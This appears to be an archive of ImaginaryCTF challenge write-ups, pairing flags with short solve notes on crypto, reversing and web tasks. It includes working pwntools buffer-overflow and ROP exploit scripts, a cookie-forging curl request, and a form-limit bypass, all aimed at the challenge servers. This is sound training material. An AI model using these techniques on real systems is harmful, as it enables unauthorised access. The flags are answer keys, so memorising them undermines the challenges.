Archived Challenges - February 2022

copy flag

ictf{w3lc0m3_t0_r0und_9+10}

convert text from colemak to querty

ictf{C013maK_1S_th3_b3st_k3Yb0ard_l@y0ut}

Complex values allow for left over j/i, after four rounds, j/i^4 is positive, so 1+99j would allow for the left over j to make a large positive value

ictf{D!D_Y0U_TRY_EXPL0!T!NG_EVA1?}

curl -b "isAdmin=true" http://www.max49.cf:4444/flag.txt

ictf{b4g3l_w0u1d_l1k3_t0_h4v3_4_ch4t...}

grep -roP "ictf{.*}" 137.184.207.224\:1111/```

ictf{searching_for_a_needle_in_a_lorem_ipsum_haystack_i_hope_my_server_survives}

curl -X POST -F flag= 137.184.207.224:3333/query | grep -oP ".{50}###.{50}"```
Entering a partial flag will return all flags that contain that text, as well as their IDs. Thus, entering nothing *should* return all flags, but the HTML won't let you enter fewer than 10 characters. You can either modify the HTML or make the post request yourself, then search for 1337133713371337.

ictf{I_hope_you_guys_like_this_chall_I_made_it_last_minute}

Strings the image to find

IELPDJLQDUB FWI LV D EHJLQQHU-IULHQGOB FWI. DOO-URXQG KDYH IXQ DQG KHOS XV WR OHDUQ QHZ WKLQJV.
EWZ BRXU IODJ LV - LFWI{WK3_I1O3_Z4V_Q0W_F0UUXSW3G_EXW_B0X_J0W_1W}
:URRBDB:

Rot 23/-3 the message

ictf{th3_f1l3_w4s_n0t_c0rrupt3d_but_y0u_g0t_1t}

Inspecting the file, you may notice lots of deadbeef bytes. XORing the file contents with deadbeef outputs an ELF binary you can save and run to get inside and find the flag. https://imaginaryctf.org/f/1Ymuy

ictf{hungry_f0r_s0m3_d3l1ci0us_d34db33f}

From the challenge name, we find the website https://www.spammimic.com/, a website that encodes pieces of text in a spam email. Using their decoder we get the flag.

ictf{st0p_th3_sp4m_376e32}

asdf.txt appears to be garbage, but using "file asdf.txt", we get "asdf.txt: data" instead of "asdf.txt: ASCII text", which means that there is more than what we see in this file. Using xxd, we can see that there are a bunch of \0s on most lines. The amount of them represent one character for each line.

ictf{I_wonder_if_the_fdownl_preview_gives_it_away}

#!/usr/bin/env python3

from Crypto.Util.number import *

n = 2584538957893192399128814700479511986684469644490657484607807894918658340720918327698524943787259303005445384677334653461759345910108214564666331732191893911535124903343364826386643959379584446772153417973
e = 65537
c = 2296854637041177374835588958029683620772157627500453552777593305305048518818851656871331634693483391183744997428990829969857340367372835380128156257198723531954438195896026607804726967413712824370363498805

p = 34123 # from factordb
q = n // p 
phi = (p-1) * (q-1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

ictf{b1g_pr1m3s_4r3_1mp0rt4nt}

This is essentially a decryption oracle for the Schmidt-Samoa cryptosystem. By taking dec(enc(x)) where x > n1, we can recover n2 = gcd(n1, x - dec(enc(x))), which further gives us the entire factorization. From there, we simply perform the decryption ourselves with the recovered secret key. For convenience, instead of doing enc(x), we can simply choose -1 ≡ n1 - 1 instead, since n1 is guaranteed to be odd and so -1^n1 ≡ -1.

https://imaginaryctf.org/f/gIFoS

ictf{1_w4y_tr4pd0Ors_reduc1ng_t0_fact0r1ng}

from pwn import *

elf = ELF('./chall', checksec=False)
#p = elf.process()
p = remote('031337.xyz',42042)
context.log_level = 'info'
payload = b"A" * 120 
payload += p64(elf.sym['win'])

p.recvuntil(b"-\n")
p.sendline(b"a")
p.recvuntil(b"?\n")
p.sendline(b"no")
p.recvline(b"?\n")
p.sendline(payload)

p.recv()
print(p.recvline())```

ictf{4asy_pwn_r3t2w1n}

Open the flag file until the fd is 0x14, then use the read and write syscall to print it out

from pwn import *

context.arch = "amd64"

io = remote("ipaddr",port)

padding = b'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ'

movedi = p64(0x004010b6)
openflag = p64(0x40101f)
poprsi = p64(0x004010bc)
readrax = p64(0x004010be)
syscall = p64(0x0040106f)
poprdx = p64(0x004010c4)
write = p64(0x00401056)

io.send(padding + openflag*0x11 + movedi +readrax + poprsi + p64(0x402000) + poprdx + p64(0x200) + syscall + write)
io.interactive()

ictf{ju5t_0p3n_th3_s4m3_fd}

Omitted until first of march.

ictf{pwn1ng_w4snt_t00_b4d_31ther_th0ugh}

The file consists of LLVM bytecode. You can get LLVM textual IR out of it with llvm-dis if you want, and do static reverse engineering. Or you can try to compile it further to machine code and do some dynamic analysis and instrumentation too.

The checking function itself is simply performing an "auto-key" vigenere cipher mod 255 on the flag you input and checking whether all values match. The initial key is k = 42 and at every point, we set k = (k + flag_char) % 255 and check that value against the reference values.

ictf{n0t_r34lly_a_bl0ckcha1n_s0rry!}

Unpickle the flag file, then generate a truth table for the circuit. Example solve script: https://imaginaryctf.org/f/2AZOl

ictf{th4t_w4s_qu1t3_th3_p1ckl3}

Omitted until first of March

ictf{r3vv1ng_w4s_th3_e4sy_p4rt}

Given the code, this could either be straight reversing or you could identify that the cipher in this case is a hill cipher. Knowing that this is a hill cipher, you can know that you need to calculate the decryption matrix (the modular inverse of the determinant of the encryption matrix multiplied by the adjoint of the encryption matrix with b and d subtracted from 26) and decryption is then the same as encryption, but using the decryption matrix instead of the encryption matrix. The flag alludes to Science Olympiad, which for the Codebusters event, only lets you use a four function calculator to do ciphers like this. https://scioly.org/wiki/index.php/Codebusters#Decryption Solve Script: https://imaginaryctf.org/f/We4Of

ictf{NOWTRYDOINGTHISWITHAFOURFUNCTIONCALC}